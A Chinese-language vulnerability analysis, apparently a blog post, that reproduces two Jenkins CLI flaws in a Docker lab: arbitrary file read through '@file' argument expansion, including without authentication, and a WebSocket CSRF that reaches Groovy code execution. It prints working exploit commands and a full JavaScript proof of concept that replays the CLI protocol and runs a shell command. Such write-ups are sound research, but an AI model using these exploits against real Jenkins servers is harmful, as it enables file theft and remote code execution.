直接使用docker环境搭建即可
docker pull bitnami/jenkins:2.426.2-debian-11-r3
docker run -e "JAVA_OPTS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=0.0.0.0:5005" -d --name jenkins -p 8081:8080 -p 8777:5005 bitnami/jenkins:2.426.2-debian-11-r3
管理员账号密码为:user/bitnami
通过官网通告了解到问题出在args4j 库解析参数时会把@后的字符串作为文件名去读取文件,并且此功能默认启用
从官方手册了解到jenkins的cli用法如下
客户端从自身搭建的jenkins拼接/jnlpJars/jenkins-cli.jar即可下载
随便找个官方的测试命令测试可用性
简单了解了jenkins客户端的用法后就可以开始看补丁了
https://github.com/jenkinsci/jenkins/commit/554f03782057c499c49bbb06575f0d28b5200edb
核心改动就是添加了一行
ParserProperties properties = ParserProperties.defaults().withAtSyntax(ALLOW_AT_SYNTAX);
把断点打在hudson.cli.CLICommand的getCmdLineParser上
运行命令
java -jar jenkins-cli.jar -s http://localhost:8081/ -auth user:bitnami -webSocket who-am-i
继续向下走,到了解析命令行参数位置
if这里的判断代码和修复代码部分有点关联,修复部分的代码应该就是为了防止进入这个逻辑的。getAtSyntax默认是true的,因此我们进入跟入if逻辑中
this.parserProperties.getAtSyntax()
发现取了@后面的字符串作为文件名读取后作为result返回
我们在docker中创建一个/tmp/1.txt文件
输入如下命令
java -jar jenkins-cli.jar -s http://localhost:8081/ -auth user:bitnami -webSocket who-am-i @/tmp/1.txt
再次进行调试,发现会把/tmp/1.txt内容读取出来
再接着向下看,读取出来的内容作为异常抛了出来,从而达到了任意文件读取
后面发现把-auth删除发现也可以进入命令行解析流程,触发漏洞。无权限即可文件读取
java -jar jenkins-cli.jar -s http://localhost:8081/ -http who-am-i @/tmp/1.txt
看官网通报,该漏洞为一个websocket的CSRF漏洞,在某些情况下能RCE,因为之前没学习过websocket的CSRF特意复现了下这个漏洞
不论是什么的CSRF,CSRF的核心就是利用别人的cookie去请求这个网站的接口完成一部分操作,而Jenkins的websocket接口没有校验Origin,也没有CSRF的token,因此造成了CSRF。从修复可以看出来,后面版本增加了Origin。
https://github.com/jenkinsci/jenkins/commit/de450967f38398169650b55c002f1229a3fcdb1b
官方对于这个漏洞分了三种情况
匿名攻击者没有任何权限,但是被CSRF攻击的Jenkins用户用的浏览器SameSitecookie的属性为Lax,Lax解释如下
根据官方通告,最新的Chrome等浏览器默认就有Lax属性
如果Jenkins用户用的浏览器SameSitecookie的属性为Lax,那么攻击者是调用不到他的Cookie的,就没办法用他的权限去请求Websocket,所以这时候请求的websocket只能是匿名的。匿名权限能调用的Jenkins Cli命令有who-am-i,可以列出Jenkins中匿名用户的有限信息
总结一下,这个没啥用
匿名用户拥有权限,在我理解看来,匿名用户即然都拥有权限了,又何必再去搞CSRF呢。我看来也是扯淡的一种情况。
这个被攻击的Jenkins用户的浏览器SameSiteCookie属性默认不是Lax,这种情况下会被CSRF影响,攻击者在跨站点时可以调用被害者的Cookie去像Jenkins的websocket发送请求。如果这个被害者有执行groovy权限的话,甚至能代码执行。这种情况应该是大部分人被Jenkins新漏洞唬到到,想去分析这个漏洞的原因吧。
通过对官方文档的查找,我找到了如何通过Jenkins Cli去执行groovy代码,命令如下
java -Dhttp.proxyHost=127.0.0.1 -Dhttp.proxyPort=9999 -jar jenkins-cli.jar -s http://172.16.11.1:8081/ -webSocket -auth user:bitnami groovy = < 1.txt
其中的 -Dhttp.proxyHost=127.0.0.1 -Dhttp.proxyPort=9999 是我为了抓包,不抓包的话可以删掉。1.txt中放groovy代码即可。
这里用的user用户是有groovy执行权限的。
下面我们就要制作一个html页面,其中包含了一段js,js的功能是向Jenkins发送websocket数据包,来模拟我们用java -jar jenkins-sli.jar发出的数据包。只要用js模拟的数据包和我们上面命令产生的数据包一样。那么当user用户访问到我们搭建的恶意页面,就可以通过他的Cookie发送请求给websocket,进而触发Groovy代码执行了。
通过抓jar发出的流量总共发现了6-7个请求包,就会收到执行结果的返回包了
返回包
我们把这些流量用js模拟即可
// WebSocket 的 URL,通常以 "ws://" 或 "wss://" 开头
var socketUrl = "ws://172.16.11.1:8081/cli/ws/";
// 创建 WebSocket 实例
var socket = new WebSocket(socketUrl);
// 监听连接建立事件
socket.addEventListener("open", (event) => {
var goovyArray = new Uint8Array([0x00,0x00,0x06]);
var groovyStrArray = new TextEncoder().encode("groovy");
var groovyCombinedArray = new Uint8Array(goovyArray.length + groovyStrArray.length);
groovyCombinedArray.set(goovyArray, 0);
groovyCombinedArray.set(groovyStrArray, goovyArray.length);
socket.send(groovyCombinedArray);
var goovyArray = new Uint8Array([0x00,0x00,0x01]);
var groovyStrArray = new TextEncoder().encode("=");
var groovyCombinedArray = new Uint8Array(goovyArray.length + groovyStrArray.length);
groovyCombinedArray.set(goovyArray, 0);
groovyCombinedArray.set(groovyStrArray, goovyArray.length);
socket.send(groovyCombinedArray);
var goovyArray = new Uint8Array([0x02,0x00,0x05]);
var groovyStrArray = new TextEncoder().encode("UTF-8");
var groovyCombinedArray = new Uint8Array(goovyArray.length + groovyStrArray.length);
groovyCombinedArray.set(goovyArray, 0);
groovyCombinedArray.set(groovyStrArray, goovyArray.length);
socket.send(groovyCombinedArray);
var goovyArray = new Uint8Array([0x01,0x00,0x0b]);
var groovyStrArray = new TextEncoder().encode("zh_CN_#Hans");
var groovyCombinedArray = new Uint8Array(goovyArray.length + groovyStrArray.length);
groovyCombinedArray.set(goovyArray, 0);
groovyCombinedArray.set(groovyStrArray, goovyArray.length);
socket.send(groovyCombinedArray);
var goovyArray = new Uint8Array([0x03]);
socket.send(goovyArray);
var goovyArray = new Uint8Array([0x05]);
var groovyStrArray = new TextEncoder().encode(`def command = "ls -l"
def process = command.execute()
process.waitFor()
def output = process.text
def exitCode = process.exitValue()
println "Command Output:$output"
println "Exit Code: $exitCode"
`);
var groovyCombinedArray = new Uint8Array(goovyArray.length + groovyStrArray.length);
groovyCombinedArray.set(goovyArray, 0);
groovyCombinedArray.set(groovyStrArray, goovyArray.length);
socket.send(groovyCombinedArray);
var goovyArray = new Uint8Array([0x06]);
socket.send(goovyArray);
});
// 监听连接关闭事件
socket.addEventListener("close", (event) => {
console.log("WebSocket连接已关闭");
});
socket.onmessage = function(event) {
// 创建一个FileReader实例
var reader = new FileReader();
// 设置FileReader的onload事件处理程序,当读取操作完成时会调用这个处理程序
reader.onload = function(event) {
// 事件的result属性包含了文件的内容
const content = event.target.result;
console.log(content); // 输出内容
};
// 使用readAsText方法读取Blob中的内容,指定编码为UTF-8
reader.readAsText(event.data, 'UTF-8');
};
// 监听发生错误事件
socket.addEventListener("error", (event) => {
console.error("WebSocket发生错误", event);
});
在浏览器的控制台运行了下,js里面的写的是直接console输出,但如果是csrf的话,攻击者把这个内容发到自己的域名即可。
漏洞分析到这里就差不多了
两个比较有意思的漏洞,读文件哪里以意想不到的方式传参被读取,又以意想不到的方式返回了读取内容。websocket csrf这个主要重温了下csrf漏洞,很久没搞过了,还是有点意思的。